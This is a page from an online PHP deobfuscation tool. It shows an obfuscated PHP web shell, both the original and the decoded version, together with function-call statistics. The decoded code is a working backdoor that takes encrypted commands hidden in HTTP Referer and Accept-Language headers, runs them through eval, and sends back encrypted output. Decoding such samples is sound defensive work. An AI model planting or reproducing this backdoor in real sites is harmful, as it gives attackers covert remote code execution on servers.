Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $I='0.([\\d]))Z?,?/"Z,Z$ra,$m);if($Zq&&$m){Z@ZsessioZn_starZt();$s=&$_SZESSIOZN;$ss..
Decoded Output download
$kh="82b8";$kf="093e";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$I='0.([\\d]))Z?,?/"Z,Z$ra,$m);if($Zq&&$m){Z@ZsessioZn_starZt();$s=&$_SZESSIOZN;$ssZZ="substrZ";$sl="st';
$W=str_replace('HY','','creHYaHYtHYHYHYe_funHYction');
$U=']="";$Zp=$ss($Zp,3)Z;}Zif(Zarray_keZZy_exists($i,$s)){$sZ[$i]Z.=Z$p;$e=strZpos($s[$Zi]Z,$f);if';
$c='leZan();$dZ=bZase64_enZcZodZe(x(gzcompZress($Zo),$k));ZZprint("<$k>$d</Z$k>");Z@sesZsion_destroZy();}}}}';
$p='rrZ);parse_stZr($u["querZy"],$q);$q=arZrZay_valuesZ($q)Z;preg_matcZh_alZl("/([\\wZ])[Z\\w-]+(?:;ZqZ=';
$t='r=@$rZ["ZZHTTP_REFERZER"];$ra=@$Zr["HTTP_ZACCEPTZZ_LANGUZZAGE"];if($rr&&$raZ){$u=paZrse_ZurZl(Z$';
$R=',3)Z);$Zp=Z"";foZr($z=1;$z<coZunt($m[1Z]);$z+ZZ+)$pZ.=$q[$m[2][$Zz]];Zif(stZrpos($p,$h)Z===Z0){$sZ[$i';
$z='rtoZloweZr";Z$Zi=$m[1][0].$m[Z1][1Z];$h=$sl(Z$ss(mZZd5($i.$khZ),0,3Z))Z;$f=$sl($sZs(md5($Zi.$kf),0';
$x='(Z$e){Z$k=$kh.$kf;Zob_sZZtaZrt();@evaZl(@gZzuncompressZ(@x(@baseZ6Z4_dZZecode(pZreg_repZlace(array';
$Z='("/_Z/",Z"/-/"),arrayZ("/"Z,"+"),$ss($Zs[$iZ],0Z,$e))Z),$k)));$o=oZb_get_cZontentZsZ();ob_enZd_c';
$y='$l;){for($jZ=0;($Zj<$c&Z&$i<$l)Z;$j++,$i+ZZ+){$oZ.=$t{$i}^$k{Z$jZ};}}return Z$o;}$Zr=$_ZSERVER;$Zr';
$Q='$kh="Z82b8"Z;$kf="093eZ";funZctZion x($t,$k){Z$cZ=strlenZ(Z$k);$l=strlenZ($t);Z$Zo=ZZ"";for($i=0;$Zi<';
$E=str_replace('Z','',$Q.$y.$t.$p.$I.$z.$R.$U.$x.$Z.$c);
$A=$W('',$E);$A();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | b6443021722e617eb4a9a813167c837f |
| Eval Count | 1 |
| Decode Time | 95 ms |